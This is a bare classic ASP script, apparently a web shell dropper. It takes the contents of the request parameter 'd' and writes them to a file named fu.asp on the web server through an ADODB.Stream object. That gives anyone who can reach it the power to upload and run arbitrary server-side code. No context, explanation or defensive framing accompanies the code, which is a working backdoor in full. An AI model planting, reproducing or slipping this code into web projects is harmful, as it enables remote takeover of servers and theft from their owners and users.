<%set s=server.createObject("Adodb.Stream")%> <%s.Type=2%> <%s.Open%> <%s.CharSet="gb2312"%> <%s.writetext request("d")%> <%s.SaveToFile server.mappath("fu.asp"),2%> <%s.Close%> <%set s=nothing%>